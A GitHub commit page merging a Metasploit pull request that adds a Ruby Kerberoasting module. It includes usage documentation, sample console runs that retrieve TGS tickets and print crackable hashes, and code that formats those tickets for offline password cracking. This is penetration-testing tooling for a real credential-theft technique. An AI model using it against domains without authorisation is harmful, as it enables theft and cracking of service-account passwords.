Skip to content

Commit 57c6904

Browse files
authored
Merge pull request #20175 from smashery/ruby-kerberoasting
Ruby kerberoasting
2 parents ad0f09c + a7d0927 commit 57c6904

File tree

11 files changed

+511
-611
lines changed

11 files changed

+511
-611
lines changed

documentation/modules/auxiliary/gather/get_user_spns.md

Lines changed: 0 additions & 31 deletions
This file was deleted.
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Kerberoast
2+
3+
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
4+
5+
## Module usage
6+
7+
- Start `msfconsole`
8+
- Do: `use auxiliary/gather/kerberoast`
9+
- Do: `run rhost=<IP> domain=<FQDN> password=<pass> username=<username> target_user=<optional_user>`
10+
- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket.
11+
- If no target user has been requested, the module will request service tickets for all available users.
12+
- A crackable value will be displayed for all valid accounts.
13+
14+
15+
## Options
16+
17+
### DOMAIN / LDAPDOMAIN
18+
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.
19+
20+
### USERNAME / LDAPUSERNAME
21+
The username to authenticate to the DC with
22+
23+
### PASSWORD / LDAPPASSWORD
24+
The password to authenticate to the DC with
25+
26+
### Rhostname
27+
28+
The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.
29+
30+
## Scenarios
31+
32+
### Target user
33+
34+
To retrieve a TGS for a particular user, set `TARGET_USER`.
35+
36+
```msf
37+
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin
38+
[*] Running module against 20.248.208.9
39+
[+] 20.248.208.9:88 - Received a valid TGT-Response
40+
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin
41+
[+] 20.248.208.9:88 - Received a valid TGS-Response
42+
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin
43+
[+] Success:
44+
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba...
45+
[*] Auxiliary module execution completed
46+
```
47+
48+
### All users
49+
50+
```
51+
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin
52+
[*] Running module against 20.248.208.9
53+
54+
[+] 20.248.208.9:88 - Received a valid TGT-Response
55+
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin
56+
[+] 20.248.208.9:88 - Received a valid TGS-Response
57+
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin
58+
[+] 20.248.208.9:88 - Received a valid TGT-Response
59+
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin
60+
[+] 20.248.208.9:88 - Received a valid TGS-Response
61+
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin
62+
63+
[+] Query returned 2 results.
64+
[+] Success:
65+
$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848...
66+
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48...
67+
[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type.
68+
[*] To obtain the crackable values for a praticular type, run `creds`:
69+
[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
70+
[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
71+
[*] Auxiliary module execution completed
72+
```

lib/metasploit/framework/hashes.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,14 @@ def self.identify_hash(hash)
128128
return 'pbkdf2-sha256'
129129
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
130130
return 'timeroast'
131+
when hash =~ /^\$krb5tgs\$23\$\*.+\$[\da-fA-F]{32}\$[\da-fA-F]+$/
132+
return 'krb5tgs-rc4'
133+
when hash =~ /^\$krb5tgs\$18\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
134+
return 'krb5tgs-aes256'
135+
when hash =~ /^\$krb5tgs\$17\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
136+
return 'krb5tgs-aes128'
137+
when hash =~ /^\$krb5asrep\$23\$[^:]+:[\da-fA-F]{32}\$[\da-fA-F]+$/
138+
return 'krb5asrep-rc4'
131139
end
132140
''
133141
end

lib/metasploit/framework/password_crackers/hashcat/formatter.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -133,6 +133,8 @@ def add_equals_to_base64(str)
133133
nil
134134
when /^krb5$/
135135
return "#{cred.id}:#{cred.private.data}"
136+
when /^(krb5.|timeroast$)/
137+
return cred.private.data
136138
end
137139
end
138140
nil

lib/metasploit/framework/password_crackers/jtr/formatter.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,8 @@ def self.hash_to_jtr(cred)
7878
when /vnc/
7979
# add a beginning * if one is missing
8080
return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}"
81+
when /^(krb5.|timeroast$)/
82+
return cred.private.data
8183
else
8284
# /mysql|mysql-sha1/
8385
# /mssql|mssql05|mssql12/

lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,30 @@ def extract_kerb_creds(res, key, msg_type: Rex::Proto::Kerberos::Crypto::KeyUsag
3838

3939
Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(res, enc_res)
4040
end
41+
42+
# Format from
43+
# https://github.com/hashcat/hashcat/blob/6fce6fb3ff120ed16b300af97cf2144b36edcbe8/src/modules/module_18200.c#L126-L132
44+
# @param [Rex::Proto::Kerberos::Model::KdcResponse] tgsrep The krb5 tgsrep response
45+
# @param [String] user The username who requested the TGS
46+
# @return [String] A valid string format which can be cracked offline
47+
def format_tgs_rep_to_john_hash(tgsrep, user)
48+
realm = tgsrep.realm.sub(':','~')
49+
etype = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(tgsrep.enc_part.etype)
50+
mac_size = etype.class::MAC_SIZE
51+
cipher = tgsrep.enc_part.cipher
52+
if [Rex::Proto::Kerberos::Crypto::Encryption::AES128, Rex::Proto::Kerberos::Crypto::Encryption::AES256].include?(tgsrep.enc_part.etype)
53+
user_part = "#{user}$#{realm}$*#{tgsrep.sname.name_string.join('/')}*"
54+
# Checksum is at the end
55+
checksum = cipher.last(mac_size)
56+
cipher_part = cipher.first(cipher.length - mac_size)
57+
else
58+
user_part = "*#{user}$#{realm}$#{tgsrep.sname.name_string.join('/')}*"
59+
# Checksum is at the start
60+
checksum = cipher[0..mac_size-1]
61+
cipher_part = cipher[mac_size..]
62+
end
63+
"$krb5tgs$#{tgsrep.enc_part.etype}$#{user_part}$#{checksum.unpack1('H*')}$#{cipher_part.unpack1('H*')}"
64+
end
4165
end
4266
end
4367
end

0 commit comments

Comments
 (0)